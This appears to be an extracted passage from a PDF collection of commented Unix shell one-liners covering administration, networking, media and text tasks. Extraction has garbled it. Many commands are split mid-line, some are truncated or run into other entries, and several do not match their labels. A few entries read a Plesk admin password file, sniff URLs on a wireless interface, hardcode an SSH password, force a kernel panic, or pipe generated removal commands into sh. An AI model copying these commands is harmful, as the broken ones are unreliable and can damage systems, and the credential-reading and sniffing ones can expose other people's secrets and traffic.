# show mysql process ids
mysql -s -e "show processlist" |awk '{print $1}'

518 / 658

All UNIX COMMANDS


# Search for specific IPs taken form a text file within the apache access log
grep -E ":(`cat bnd-ips.txt | sed 's/\./\\./g' | tr '\n' '|'`)" access.log
# Visualizing system performance data
vmstat 2 10 | awk 'NR > 2 {print NR, $13}' | gnuplot -e "set terminal png;set output
'v.png';plot '-' u 1:2 t 'cpu' w linespoints;"
# Search pattern case insensitive
:/\c{pattern}
# List file/directories in order of last accessed, in human readable terms
ls -lth podcasts/
# Quick enter into a single screen session
alias screenr='screen -r $(screen -ls | egrep -o -e '[0-9]+' | head -n 1)'
# Power cd - Add a couple of useful features to 'cd'
cd() { if [ -n "$1" ]; then [ -f "$1" ] && set -- "${1%/*}"; else [ -n "$CDDIR" ] && set -"$CDDIR"; fi; command cd "$@"; }
# find broken symbolic links
find . -type l | (while read FN ; do test -e "$FN" || ls -ld "$FN"; done)
# Upload documents from linux to MS SHarepoint using curl
curl --ntlm -u <your Active-Directory-Domain>/<your-domain-username> -T /path/to/local/$FILE
http://sharepoint.url.com/doc/library/dir/
# Push to all remote repos with git
git remote | xargs -n 1 git push
# pdftk append with handles
pdftk A=1.pdf B=2.pdf C=3.pdf cat C A output CA.pdf
# List all symlinks and see where they link to
find -type l | xargs ls -l

# Find the 10 lusers winners of the "I take up the most disk space" award
du -sh /home/*|sort -rh|head -n 10
# avoid ssh hangs using jobs
for host in $MYHOSTS; do ping -q -c3 $H 2>&1 1>/dev/null && ssh -o 'AllowedAuthe ntications
publickey' $host 'command1; command2' & for count in 1 2 3 4 5; do sleep 1; jobs | wc -l |
grep -q ^0\$ && continue; done; kill %1; done
# Get the /dev/disk/by-id fragment for a physical drive
ls -l /dev/disk/by-id/ | grep '/sda$' | grep -o 'ata[^ ]*'
# Go get those photos from a Picasa album (full size)
wget -O - "[PICASA ALBUM RSS LINK]" |sed 's/</\n</g' | grep media:content |sed
's/.*url='"'"'\([^'"'"']*\)'"'"'.*$/\1/' |awk -F'/' '{gsub($NF,"d/"$NF); print $0}'|wget -i
# List your largest installed packages (on Debian/Ubuntu)
dpkg-query --show --showformat='${Package;-50}\t${Installed-Size}\n' `aptitude --displayformat '%p' search '?installed!?automatic'` | sort -k 2 -n | grep -v deinstall | awk
'{printf "%.3f MB \t %s\n", $2/(1024), $1}'
# vi show line numbers

519 / 658

All UNIX COMMANDS


:set number
# Force file system check
touch /forcefsk
# Merge ( directories [looking for improvement]
(cd SRC; find . -type d -exec mkdir TARGET/{} ";"; find . -type f -exec mv {} TARGET/{} ";")
# 60 second on screen timer for bash scripts
i=60;while [ $i -gt 0 ];do if [ $i -gt 9 ];then printf "\b\b$i";else
$i";fi;sleep 1;i=`expr $i - 1`;done

printf "\b\b

# cat without comments


cat /etc/squid/squid.conf | grep -v '^#' | sed '/^$/d'
# Copy all shared libraries for a binary to directory
ldd file | grep "=> /" | awk '{print $3}' | xargs -I '{}' cp -v '{}' /destination
# revert the unstaged modifications in a git working directory
git diff | git apply --reverse
# Change wallpaper random
feh --bg-scale "`ls -d $HOME/backgrounds/* |sort -R |tail -1`"
# Force a kernel panic
echo c > /proc/sysrq-trigger
# Prepend a text to a file.
sed -i 's/^/ls -l /' output_files.txt
# Split an image in half for use on dual screens (mostly for use under KDE which treats each
screen separately)
convert yourdoublewideimage.jpg -crop 50%x100% +repage output.jpg
# One liner gdb attach to Acrobat
(acroread &);sleep 2;gdb /opt/Adobe/Reader8/Reader/intellinux/bin/acroread `pidof ldlinux.so.2`
# Calculator on the go
echo 2+3 |bc
# List your largest installed packages (on Debian/Ubuntu)
perl -ne '$pkg=$1 if m/^Package: (.*)/; print "$1\t$pkg\n" if m/^Installed-Size: (.*)/;'
< /var/lib/dpkg/status | sort -rn | less
# shows the full path of shell commands
type <command>
# Find PHP files
find . -name "*.php" -exec grep -i -H "search pharse" {} \;
# Handling oracle alter log file
awk '{if ($1~/Sun|Mon|Tue|Wed|Thu|Fri|Sat/)
DATE"|"$0}}' alterorcl.log

{DATE=$2" "$3" "$4" "$5 } else {print

# Displays All TCP and UDP Connections


sudo netstat|head -n2|tail -n1 && sudo netstat -a|grep udp && echo && sudo netstat|head -n2|
tail -n1 && sudo netstat -a|grep tcp
# Remove the first and the latest caracter of a string

520 / 658

All UNIX COMMANDS


echo foobar | sed -r 's/(^.|.$)//g'
# Fast way to get the product of every number in a file
(sed 's/^/x*=/' file ; echo x) | bc

# Get the IP address


ifconfig | sed -n 's/.*inet addr:\([0-9.]\+\)\s.*/\1/p'
# Display count of log entries via the previous minute for graphing purposes. Example given
is for DHCPREQUESTS on an ISC dhcp service log.
DATE=`date +"%H:%M" --date '-1 min'`; egrep "\ $DATE\:..\ " /var/log/dhcpd.log |awk
'/DHCPREQUEST/ {split($3,t,":"); printf("%02d:%02d\n",t[1],t[2]);}' |uniq -c;
# Hex Dump
hexdump -C file
# Localize a Public IP on a specific interface
(date "+%d-%m-%Y %H:%M:%S";curl -s --interface lo:1 ifconfig.me| xargs -t geoiplookup 2>&1)|
sed -e 's/geoiplookup/IP:/g' -e 's/GeoIP Country Edition/Country/g'|tr -s "\n" " "|sed 'a\
'
# redirect STDOUT and STDERR to STDOUT and also to a file
command_line 2>&1 | tee -a output_file
# find&grep all in once
#!/bin/bash find | grep -P -v "(class)|(zip)|(png)|(gz)|(gif)|(jpeg)|(jpg)" | xargs -I @
grep -H $1 @
# Terminate script or shell if not launched as root
if [[ $EUID -ne 0 ]]; then echo 'Root permissions required! Exiting.'; exit; fi
# Spotlight Server Disabled
cd /System/Library/LaunchDaemons; sudo launchctl load -w com.apple.metadata.mds.plist
# umount --rbind mount with submounts
for i in `cat /proc/mounts | awk '{print $2}' | grep ${CDIR} |sort -r` ;

do umount $i; done

# Tar - Compress by excluding folders


tar -cvf /path/dir.tar /path/dir* --exclude "/path/dir/name" --exclude "/path/dir/opt"
# Get iPhone OS firmware URL (.ipsw)
get-ipsw(){ curl -s -L http://phobos.apple.com/version | sed -rn "s|[\t ]
*<string>(http://appldnld\.apple\.com\.edgesuite\.net/content\.info\.apple\.com/iPhone[09]?/[^/]*/$1$2_$3_[A-Z0-9a-z]*_Restore\.ipsw)</string>|\1|p" | uniq; }
# Get a file's type and metadata
file <filename>
# list each file/directory size in a directory
ls | xargs -I{} du -sh {}
# Push current task to background (paused) and resume it.
<CTRL+Z>; fg
# Use ping to test if a server is up
if [ "$(ping -q -c1 google.com)" ];then wget -mnd -q
http://www.google.com/intl/en_ALL/images/logo.gif ;fi

521 / 658

All UNIX COMMANDS


# Convert wma to wav
for i in *.wma; do mplayer -vo null -vc dummy -af resample=44100 -ao pcm:waveheader:file="$
{i%.wma}.wav" "$i" ; done
# Show seconds since modified of newest modified file in directory
echo $(( $( date +%s ) - $( stat -c %Y * | sort -nr | head -n 1 ) ))
# lsof - cleaned up for just open listening ports, the process, and the owner of the process
alias oports="echo -e "User:\tCommand:\tPort:\n----------------------------" && lsof -i 4 -P
-n | awk '/LISTEN/ {print $3, $1, $9}' | sed 's/ [a-z0-9\.\*]*:/ /' | sort -u -k 3 -n |
xargs printf '%-10s %-10s %-10s\n'"
# Play a stream and give back the shell
wget http://somesite.com/somestream.pls; cvlc somestream.pls&sleep 5; rm somestream.pls*
# Slow down IO heavy process
slow () { [ -n $1 ] && while kill -STOP $1; do sleep 1; kill -CONT $1; sleep 1; done }
# Store mp3 playlist on variable and play with mpg123
PLAYLIST=$(ls -1) ; mpg123 -C $PLAYLIST
# Recursively remove all empty directories
find . -type d | tac | xargs rmdir 2> /dev/null
# Get just the IP for a hostname
host foo.com|grep " has address "|cut -d" " -f4
# Create key/value pairs in bash
$ hash="foo:bar"; key=${hash%:*}; value=${hash#*:}; echo "Key: $key Value: $value"
# Make a statistic about the lines of code
find . -type f -name '*.c' -exec wc -l {} \; | awk '{sum+=$1} END {print sum}'

# Static Yubikey 2.2 Password Using Programming Slot 1


ykpersonalize -1 -ostatic-ticket -ostrong-pw1 -ostrong-pw2
# IP:PORT to IP:PORT:COUNTRY using geoiplookup
for IP in `cat ip.txt|awk -F: '{print $1}'`; do geoiplookup -f
/usr/local/share/GeoIP/GeoIP.dat $IP|awk -F, '{print $2}'>>out.txt; done; paste -d ":"
ip.txt out.txt>zoom.txt
# Traffic stat on ethernet interface
ethtool -S eth0
# Set default "New Page" as HTML in TextMate
defaults write com.macromates.textmate OakDefaultLanguage 17994EC8-6B1D-11D9-AC3A000D93589AF6
# List your installed Firefox extensions
grep -hIr -m 1 :name ~/.mozilla/firefox/*.$USER/extensions | tr '<>=' '"""' | cut -f3 -d'"'
| sort -u
# Quickly check a device in a LVM volume group against multipath
pvscan | awk '/name_of_vg/ {print $2}' | sed 's/[-|/|]/ /g' | cut -d " " -f7
# Get just the IP for a hostname
gethostip -d hostname

522 / 658

All UNIX COMMANDS


# keep trying a command until it is successful
jkhgkjh; until [[ $? -eq 0 ]]; do YOURCOMMAND; done
# Change MySQL Pager For Nicer Output
In MySQL client, \P less -S
# Setup Vim environment for USACO coding
alias viaco='task="$(basename "$(pwd)")"; if [ -f "$task.c" ]; then vi -c "set mouse=n" -c
"set autoread" -c "vsplit $task.out" -c "split $task.in" -c "wincmd l" -c "wincmd H"
$task.c; fi'
# tiny proxy in shell to receive on port and write on unix socket
mk
# Partition a new disk as all one partition tagged as "LInux LVM"
echo -e "n\np\n1\n\n\nt\n8e\nw" | fdisk /dev/sdX
# tiny proxy in shell to receive on port and write on unix socket
mknod replypipe p; nc -k -lp 1234 < replypipe| nc -U /var/run/mysocket.sock > replypipe
# extract links from a google results page saved as a file
gsed -e :a -e 's/\(<\/[^>]*>\)/\1\n/g;s/\(<br>\)/\1\n/g' page2.txt | sed -n
'/<cite>/p;s/<cite>\(.*\)<\/cite>/\1/g' >> output
# Launch a Java .jar App
java -jar /path/to/filename.jar
# Replace the Caps Lock key with Control
setxkbmap -option ctrl:nocaps
# Randomize lines (opposite of | sort)
ls -1 | xargs ruby -e'puts ARGV.shuffle'
# rows2columns
perl -le 'print join ", ", map { chomp; $_ } <>'
# Autofind alive hosts on subnet upon connect
dhclient wlan0 && sbnt=$(ifconfig wlan0 |grep "inet addr" |cut -d ":" -f 2 | cut -d "." -f
1-3) && nmap $sbnt.0/24 -sP
# List Seeon.tv Available Video Channels
lynx --dump http://www.seeon.tv/channels| grep "/channels"|awk '{print $2}'|sort -u|while
read links; do lynx --dump "$links"|awk '/view/ {print $2}'|sort -u; done
# Current directory files and subdirectories ordered by size
du -ks * | sort -n
# Recursive Ownership Change
sudo chown -R user2:user2 /../../somedirectory
# Puts every word from a file into a new line
< <infile> tr ' \t' '\n' | tr -s '\n' > <outfile>
# Convert ogg to mp3
for x in *.ogg; do ffmpeg -i "$x" "`basename "$x" .ogg`.mp3"; done
# Delete files and directories from current directory exept those specified
rm -R `ls | egrep -v 'dir1|dir2|file1'`

523 / 658

All UNIX COMMANDS


# Open Port Check
netstat -an | grep --color -i -E 'listen|listening'
# Retrieve Plesk Admin Password
cat /etc/psa/.psa.shadow
# create a motion jpeg (MJPEG) with the jpg file from current directory with mencoder
mencoder mf://image1.jpg,image2.jpg,image3.jpg -mf w=800:h=600:fps=25:type=jpeg -ovc copy
-oac copy -o output.avi
# Dump HTTP header using lynx or w3m
lynx -dump -head http://www.example.com/
# Provide a list of all ELF binary objects (executable or libs) in a directory
file /usr/bin/* | grep ELF | cut -d":" -f1
# Remove an old gmetric statistic
gmetric -n $METRIC_NAME -v foo -t string -d 10
# Capitalize the word with dd
echo capitalize | { dd bs=1 count=1 conv=ucase 2> /dev/null; cat ;}
# Find iPod's fwguid
lsusb -v | grep -o "[0-9A-Z]{16}"
# Send and streamming video to web
cat video.ogg | nc -l -p 4232 & wget http://users.bshellz.net/~bazza/?nombre=name -O - &
sleep 10; mplayer http://users.bshellz.net/~bazza/datos/name.ogg
# OSX - Function to list all members for a given group
members () { dscl . -list /Users | while read user; do printf "$user "; dsmemberutil
checkmembership -U "$user" -G "$*"; done | grep "is a member" | cut -d " " -f 1; };
# Recursivly search current directory for files larger than 100MB
tree -ah --du . | ack '\[(\d{3,}M|\d+.*G)\]'
# PlayTweets from the command line
vlc $(curl -s http://twitter.com/statuses/user_timeline/18855500.rss|grep play|sed -ne
'/<title>/s/^.*\(http.*\)<\/title/\1/gp'|awk '{print $1}')
# Show display type
ioreg -lw0 | grep IODisplayEDID | sed "/[^<]*</s///" | xxd -p -r | strings -6
# print statistics about users' connect time
ac -d | awk '{h=int($NF); m=($NF-h)*60; s=int((m-int(m))*60); m=int(m); print $0" = "h"h
"m"m "s"s "}'
# Gather libraries used and needed by a binary
for lib in `readelf -d /usr/bin/abiword | grep NEEDED | cut -f2 -d[ | cut -f1 -d]`; do [
-e /usr/lib/$lib ] && j=/usr/lib/$lib || j=`locate -l 1 $lib`; readlink -f $j ; done
# Count httpd processes
pidof httpd | wc -w
# Count httpd processes
pgrep -c 'httpd|apache2'
# Sum files of certain extension in given directory

524 / 658

All UNIX COMMANDS


echo $(find <directory> -name '*.<extension>' -exec du -s {} \; | tee $(tty) | cut -f1 | tr
'\n' '+') 0 | bc
# check to see what is running on a specific port number
sudo netstat -tulpn | grep :8080
# Find all python modules that use the math module
find . -name "*.py" -exec grep -n -H -E "^(import|from) math" {} \;
# Recreate all initrd files
for kern in $(grep "initrd " /boot/grub/grub.conf|grep -v ^#|cut -f 2- -d-|sed -e
's/\.img//g'); do mkinitrd -v -f /boot/initrd-$kern.img $kern; done
# Print free memory
free -m | awk '/Mem/ {print $4}'
# Identifying Xorg video driver in use
egrep -i " connected|card detect|primary dev" /var/log/Xorg.0.log
# check apache2 status with a lot of details
apachectl fullstatus
# Find all machines on the network using broadcast ping
ping -b <broadcast address>

# Shows all virtual machines in Citrix XenServer


xe vm-list
# The program listening on port 8080 through IPv6
lsof -Pnl +M -i6 | grep 8080
# print a cpu of a process
ps -eo args,%cpu | grep -m1 PROCESS | tr 'a-z-' ' ' | awk '{print $1}'
# Add a list of numbers
echo $((1+2+3+4))
# Generat a Random MAC address
2>/dev/null dd if=/dev/urandom bs=1 count=6 | od -t x1 |sed '2d;s/^0\+ //;s/ /:/g'
# Find the files that contain a certain term
find /path/to/dir -type f -exec grep \-H "search term" {} \;
# Copy a virtual machine on Citrix XenServer, optionally to a different storage repository
xe vm-copy vm="ABCServer" sr-uuid=24565487-accf-55ed-54da54993ade784a new-name-label="Copy
of ABCServer" new-name-description="New Description"
# Remove all unused kernels with apt-get
sudo apt-get remove $(dpkg -l|awk '/^ii linux-image-/{print $2}'|sed 's/linux-image-//'|awk
-v v=`uname -r` 'v>$0'|sed 's/-generic//'|awk '{printf("linux-headers-%s\nlinux-headers-%sgeneric\nlinux-image-%s-generic\n",$0,$0,$0)}')
# Find Duplicate Files (based on size first, then MD5 hash)
find-duplicates () { find "$@" -not -empty -type f -printf "%s\0" | sort -rnz | uniq -dz |
xargs -0 -I{} -n1 find "$@" -type f -size {}c -print0 | xargs -0 md5sum | sort | uniq -w32
--all-repeated=separate; }
# Execute ls -lah every one second

525 / 658

All UNIX COMMANDS


watch --interval 1 ls -lah
# delete all leading whitespace from each line in file
sed 's/^[ \t]*//' < <file> > <file>.out; mv <file>.out <file>
# kills all php5-fcgi processes for user per name
pkill -9 -u username php5-fcgi
# recursive permission set for xampp apache user nobody
sudo chown -R nobody:admin /Applications/XAMPP/xamppfiles/htdocs/
# Listen on an arbitrary port
nc -l <port-number>
# Sed file spacing
sed G
# Show current folder permission from /, useful for debugging ssh key permission
awk 'BEGIN{dir=DIR?DIR:ENVIRON["PWD"];l=split(dir,parts,"/");last="";for(i=1;i<l+1;i++)
{d=last"/"parts[i];gsub("//","/",d);system("ls -ld \""d"\"");last=d}}'
# Get Memeory Info
cat /proc/meminfo
# change dir to n-th dir that you listed
cd $(ls -ltr|grep ^d|head -1|sed 's:.*\ ::g'|tail -1)
# Find files and list them sorted by modification time
find -type f | xargs ls -1tr
# Copy your SSH public key on a remote machine for passwordless login - the easy way
$ssh-copy-id ptaduri@c3pusas1
# url sniffing
sudo urlsnarf -i wlan0
# Copy ssh keys to user@host to enable password-less ssh logins.
ssh-keygen ptaduri@c3pusas1
# make directory
parallel -a <(seq 0 20) mkdir /tmp/dir1/{}
# convert a string from lower case into uppercase
echo lowercaseword | tr '[a-z]'
'[A-Z]'
# renamed multiple file from .php to .html
rename s/ .php/ .html/ *.html

# Generate hash( of some types) from string


hashalot -s salt -x sha256 <<<"test"
# ping as traceroute
mtr google.com
# Stop your screen saver interrupting your mplayer sessions
alias mplayer='mplayer -stop-xscreensaver'
# Get just the IP for a hostname

526 / 658

All UNIX COMMANDS


host google.com|awk '{print $NF}'
# Opens a file,directory or URL in the user's preferred application
gnome-open .
# Emptying a text file in one shot
ggdG
# Detect your computer's harddisk read speed without disk cache speed
cat /dev/sda | pv -r > /dev/null
# Recursively remove all '.java.orig' files (scalable)
find . -type f -iname '*.java.orig' -delete
# Hunt for the newest file.
find . -printf "%T@ %p\n" | sed -e 1d | while read ts fn; do ts=${ts%.*}; if [ $ts -ge $
{gts:-0} ]; then gts=$ts; echo `date -d @$gts` $fn; fi; done
# Remove ^M characters at end of lines in vi
:%s/^V^M//g
# Get IPv4 of eth0 for use with scripts
ifconfig eth0 | perl -ne 'print $1 if m/addr:((?:\d+\.){3}\d+)/'
# Generate a random password 32 characters long :)
makepasswd --char=32
# Let's say you have a web site
for I in `find . -name "*.php"`; do sed -i "s/old name/new name/g" $I; done
# Display laptop battery information
cat /proc/acpi/battery/BAT1/info
# Removes single line from known_hosts file
rhost() { if [[ $1 =~ ^[0-9]+$ ]]; then sed -i "$1"d ${HOME}/.ssh/known_hosts; else echo
"rhost [n]"; fi }
# Fetch current song from last.fm
curl -s http://www.last.fm/user/$LASTFMUSER | grep -A 1 subjectCell | sed -e 's#<[^>]*>##g'
| head -n2 | tail -n1 | sed 's/^[[:space:]]*//g'
# Clone all remote branches of a specific GitHub repository
git branch -a | grep "remotes/origin" | grep -v master | awk -F / '{print $3}' | xargs -I %
git clone -b % git://github.com/jamesotron/DevWorld-2010-Cocoa-Workshop %
# Time redis ping in thousands of a second.
TIME=$( { time redis-cli PING; } 2>&1 ) ; echo $TIME | awk '{print $3}' | sed 's/0m//;
s/\.//; s/s//; s/^0.[^[1-9]*//g;'
# increment a bash variable
((x++))
# Monitor the Kernel Ring Buffer
watch 'dmesg | tail -15'
# find the device when you only know the mount point
df /media/mountpoint |egrep -o '^[/a-z0-9]*'
# terminal based annoy-a-tron
while true; do sleep $(($RANDOM/1000)) && beep -f 2000 -l $(($RANDOM/100)) ; done

527 / 658

All UNIX COMMANDS


# futz.me - Send yourself notes from the command line
lynx "futz.me/xxx hey this is a test"
# Delete the \n character at the end of file
awk 'BEGIN { ARGV[ARGC++]=ARGV[ARGC-1] } NR!=FNR { if(num==0) num=NR-1; if(FNR<num) {print}
else { ORS=""; print } } ' abc1.txt > abc2.txt
# turn off all services in specific runlevel
for i in $(chkconfig --list | grep "4:on" | awk {'print $1'}); do chkconfig --level 4 "$i"
off; done

# Contextual Menu Cleanup (OSX)


/
System/Library/Frameworks/CoreServices.framework/Versions/A/Frameworks/LaunchServices.framew
ork/Versions/A/Support/lsregister -kill -r -domain local -domain system -domain user
# Watch mysql processlist on a remote host
watch -n 0.5 ssh [user]@[host] mysqladmin -u [mysql_user] -p[password] processlist | tee
-a /to/a/file
# password generator
genpass() { local h x y;h=${1:-8};x=( {a..z} {A..Z} {0..9} );y=$(echo ${x[@]} | tr ' ' '\n'
| shuf -n$h | xargs);echo -e "${y// /}"; }
# View the newest xkcd comic.
gwenview `wget -O - http://xkcd.com/ | grep 'png' | grep '<img
src="http://imgs.xkcd.com/comics/' | sed s/title=\".*//g | sed 's/.png\"/.png/g' | sed
's/<img src=\"//g'`
# Quickly switch to login window (#OSX)
/System/Library/CoreServices/Menu\ Extras/User.menu/Contents/Resources/CGSession -suspend
# Print all members of US House of Representatives
curl "http://www.house.gov/house/MemberWWW.shtml" 2>/dev/null | sed -e :a -e
's/<[^>]*>//g;/</N;//ba' | perl -nle 's/^\t\t(.*$)/ $1/ and print;'
# Add repository in source list without editing sources.list
add-apt-repository [REPOSITORY]
# collapse first five fields of Google Adwords export .tsv file into a single field
awk -F $'\t' '{printf $1 LS $2 LS $3 LS $4 LS $5; for (i = 7; i < NF; i++) printf $i "\t";
printf "\n--\n";}' LS=$'\n' 'Ad report.tsv' | column -t -s $'\t'
# To compact all SQLite databases in your home directory
find ~ -name '*.sqlite' -exec sqlite3 '{}' 'VACUUM;' \;
# get Hong Kong weather infomation from HK Observatory
wget -q -O - 'http://wap.weather.gov.hk/' | sed -r 's/<[^>]+>//g;/^UV/q' | grep -v '^$'
# rm filenames with spaces
find garbage/ -type f -delete
# get Hong Kong weather infomation from HK Observatory
wget -q -O - 'http://wap.weather.gov.hk/' | sed -r 's/<[^>]+>//g;/^UV/q' | tail -n4
# Extract all 7zip files in current directory taking filename spaces into account
find -maxdepth 1 -type f -name "*.7z" -exec 7zr e '{}' ';'

528 / 658

All UNIX COMMANDS


# Get the available physical ports and their information
setserial -g /dev/ttyS[0-9]* | grep -v "unknown"
# Succeed or fail randomly (Schr?dinger's code)
test $((RANDOM%2)) -eq 0
# Add Ubuntu Launchpad PPA and its PGP keys at the same time
sudo add-apt-repository ppa:PPA_TO_ADD
# Replace DOS character ^M with newline using perl inline replace.
perl -pi -e "s/\r/\n/g" <file>
# View the newest xkcd comic.
eog `curl 'http://xkcd.com/' | awk -F "ng): |</h" '/embedding/{print $2}'`
# External IP address
curl ifconfig.me
# check broken links using wget as a spider
wget --spider -o wget.log -e robots=off --wait 1 -r -p http://www.example.com
# Count the lines of source code in directory, ignoring files in generated by svn
find . -name '*.java' -o -name '*.xml' | grep -v '\.svn' | xargs wc -l
# Uninstall all MacPorts that are no longer active
sudo port installed | grep -v 'active\|The' | xargs sudo port uninstall
# Display file descriptors in Squid
squidclient mgr:info | grep "file desc"
# self-extractable archives
makeself <archive_dir> <file_name> <label>
# Stores current working directory before exit and restores it on a new bash start
echo -e 'alias exit='\''pwd > ~/.lastdir;exit'\''\n[ -n "$(cat .lastdir 2>/dev/null)" ] &&
cd "$(cat .lastdir)"' >> ~/.bash_aliases

# creates a bash function to remove certain lines from SSH known_hosts file
function sshdel { perl -i -n -e "print unless (\$. == $1)" ~/.ssh/known_hosts; }
# Save and merge tcsh history across windows and sessions
Use history -S in your .logout file
# use perl instead of sed
echo "sed -e"|perl -pe 's/sed -e/perl -pe/'
# Join lines
cat file | tr -d "\n"
# List your installed Firefox extensions
$grep -hIr -m 1 em:name ~/.mozilla/firefox/*.default/extensions|sed 's#\s*##'|tr '<>='
'"""'|cut -f3 -d'"'|sort -u
# Length of longest line of code
wc -L files
# grep compressed log files without extracting

529 / 658

All UNIX COMMANDS


zcat log.tar.gz | grep -a -i "string"
# recursively detecting files with a BOM
find . -type f -print0 | xargs -0r awk '/^\xEF\xBB\xBF/ {print FILENAME} {nextfile}'
# Bash function do emulate send to trash files
trash <file>
# find the device when you only know the mount point
grep -w /media/KINGSTON /proc/mounts | cut -d " " -f
# Get your current Public IP
curl ifconfig.me
# Extract single table from a MySQL dump
cat dump.sql | sed -n -e '/Table structure for table .table1./,/Table structure for table
.table2./p'
# output one file per line
awk 'BEGIN{ORS=""}NR!=1&&FNR==1{print "\n"}{print}END{print "\n"}' *.txt
# Use exit codes that actually means something.
source <(egrep '^#define EX_.*' /usr/include/sysexits.h | sed -e 's/#define/declare -r/g' |
sed 's/\//#/g' | sed -e 's/\s\{1,\}/ /g' | sed -e 's/ \([0-9]\)/\=\1/'g )
# plink ssh connect
plink lyu0@mysshserver -pw 123456
# Enable V4l2 Webcams
gst-launch v4l2src
# Purgue foreing architecture packages on debian
dpkg -l |grep i386 | awk '{ print "apt-get -y remove --purge "$2 }' | sh
# Get Minecraft &#8805;1.7 Server info (online players etc.) JSON
(echo -e '\x06\x00\x00\x00\x00\x00\x01\x01\x00'; sleep 1)|nc -c $host 25565
# List files that DO NOT match a pattern
ls | grep -vi pattern
# Select MacOSX Network Location
scselect <location>
# Install a remote RPM
sudo rpm -if "http://rpm_server/rpm_repo/this-app.rpm"
# Show only printable characters and newlines from a file or input
strings -1 <file>
# Rename all the files in the current directory into their sha1sum
find . -maxdepth 1 -type f| xargs sha1sum | sed 's/^\(\w*\)\s*\(.*\)/\2 \1/' | while read
LINE; do mv $LINE; done
# bored of listing files with ls wanna see them in file browser in gnome try this
gnome-open .
# Call remote web service
curl -D - -X POST -H 'Content-type: text/xml' -d @XML http://remote_server:8080/webservice/soap/WSName

530 / 658

All UNIX COMMANDS


# Place the argument of the most recent command on the shell
cd !$
# Restore accents in vi & others
LANG=fr_FR@euro
# Once Guest Additions are installed (Virtualbox), we need to make sure that the various
components of this software are loaded automatically each time the system boots.
sudo nano /etc/modules-load.d/virtualbox.conf
# Prints per-line contribution per author for a GIT repository
git ls-files | while read i; do git blame $i | sed -e 's/^[^(]*(//' -e 's/^\([^[:digit:]]*\)
[[:space:]]\+[[:digit:]].*/\1/'; done | sort | uniq -ic | sort -nr
# Search git repo for specified string
git grep "search for something" $(git log -g --pretty=format:%h -S"search for something")
# Send an email using the mutt email client
M=bob@example.com; echo "Email message" | mutt -s "Email Subject" $M
# Launch command in backgroup or not
eval <command> ${INBACK:-&}
# Use this command to reboot the pc in linux
sudo reboot
# Create a CD/DVD ISO image from disk.
dd bs=1M if=/dev/scd0 of=./filename.iso OR readom -v dev='D:' f='./filename.iso' speed=2
retries=8
# Block an IP address
iptables -A INPUT -s 65.55.44.100 -j DROP
# Hunt for the newest file.
ls -trF | grep -v \/ | tail -n 1
# Enable lxdm login manager in linux
sudo systemctl enable lxdm
# Get your external IP address
curl ifconfig.me/all/xml
# strip id3 v1 and v2 tags from all mp3s in current dir and below
find . -type f -iname "*.mp3" -exec id3v2 --delete-all {} \;
# Convert filenames from ISO-8859-1 to UTF-8
LANG=fr_FR.iso8859-1 find . -name '*['$'\xe9'$'\xea'$'\xeb'$'\xc9'']*'|while read f; do a="$
(echo $f|iconv -f iso8859-1 -t ascii//TRANSLIT)"; echo "move $f => $a"; done
# Find Duplicate Files (based on MD5 hash) -- For Mac OS X
find . -type f -exec md5 '{}' ';' | sort | uniq -f 3 -d | sed -e "s/.*(\(.*\)).*/\1/"
# Convert an UNIX file to a DOS file.
sed -i 's/$/\r/' file
# Renaming jpg extension files at bunch
find . -name "*.jpg" | perl -ne'chomp; $name = $_; $quote = chr(39); s/[$quote\\!]/_/ ;
print "mv \"$name\" \"$_\"\n"'

531 / 658

All UNIX COMMANDS


# tail all logs opened by all java processes
sudo ls -l $(eval echo "/proc/{$(echo $(pgrep java)|sed 's/ /,/')}/fd/")|grep log|sed 's/
[^/]* //g'|xargs -r tail -f
# Convert videos to AVI format
mencoder FILENAME.3gp -ovc lavc -lavcopts vcodec=msmpeg4v2 -oac mp3lame -lameopts vbr=3 -o
FILENAME.avi
# Create a new chrome profile and run it
p=~/.config/chromium/zed; cp -r ~/.config/chromium/Default $p && echo "chromium-browser
--user-data-dir=$p" && chromium-browser --user-data-dir=$p;
# To generate the list of dates using bash shell
now=`date +"%Y/%m/%d" -d "04/02/2005"` ; end=`date +"%Y/%m/%d" -d "07/31/2005"`; while
[ "$now" != "$end" ] ; do now=`date +"%Y/%m/%d" -d "$now + 1 day"`; echo "$now"; done
# truncate files without output redirection or temporary file creation
sed -i 's/`head -n 500 foo.log`//' foo.log
# Get your external IP address
wget ifconfig.me/ip -q -O # empty a gettext po-file (or, po2pot)
msgfilter --keep-header -i input.po -o empty.po

awk -e '{}'

# Random integer number between FLOOR and RANGE


FLOOR=0; RANGE=10; number=0; while [ "$number" -le $FLOOR ]; do number=$RANDOM; let "number
%= $RANGE"; done; echo $number
# get ^DJI
getdji (){local url sedcmd;url='http://finance.yahoo.com/q?d=t&s=^DJI';sedcmd='/
(DJI:.*)/,/Day.*/!d;s/^ *//g;';sedcmd="$sedcmd/Change:/s/Down / -/;/Change:/s/Up /
+/;";sedcmd="$sedcmd/Open:/s//&
/";lynx -dump "$url" | sed "$sedcmd"; }
# Find the files that include a TODO statement within a project
find . -iname '*TODO*'
# Renames all files in the current directory such that the new file contains no space
characters.
find ./ $1 -name "* *" | while read a ; do mv "${a}" "${a//\ /_}" ; done
# Shutdown all VMWare ESX VMs from commandline
for vm in `/usr/bin/vmware-cmd -l`; do
/usr/bin/vmware-cmd "${vm}" stop trysoft; done
# Login as another user in shell
su <username>
# locate a command
which somecommand
# use curl to resume a failed download
cat file-that-failed-to-download.zip | curl -C - http://www.somewhere.com/file-I-want-todownload.zip >successfully-downloaded.zip
# Send web page by e-mail

532 / 658

All UNIX COMMANDS


{ u="http://twitter.com/commandlinefu"; echo "Subject: $u"; echo "Mime-Version: 1.0"; echo
-e "Content-Type: text/html; charset=utf-8\n\n"; curl $u ; } | sendmail
recipient@example.com
# Better PS aliases
export PSOA='user,pid,time,state,command' ; function _ps { /bin/ps $@ ; } ; alias psa='_ps
ax -o $PSOA'
# show the log of a branch since its creation
svn log . --stop-on-copy
# cmatrix
xterm +u8 -fn mtx -maximized -T "There is no spoon!" -e cmatrix -bxa -u 3 & sleep .1s &&
wmctrl -r :ACTIVE: -b add,fullscreen && transset-df -a &
# Serve current directory tree at http://$HOSTNAME:8080/
twistd -no web
# find unmaintained ports that are installed on your system
cd /usr/ports; grep -F "`for o in \`pkg_info -qao\` ; \ do echo "|/usr/ports/${o}|" ; done`"
`make -V INDEXFILE` | \ grep -i \|ports@freebsd.org\| | cut -f 2 -d \|
# Go to begin of current command line
CTRL + a
# Day Date Time> Instead of $ or # at the terminal
export PS1='\D{%a %D %T}> '
# Go to next dir
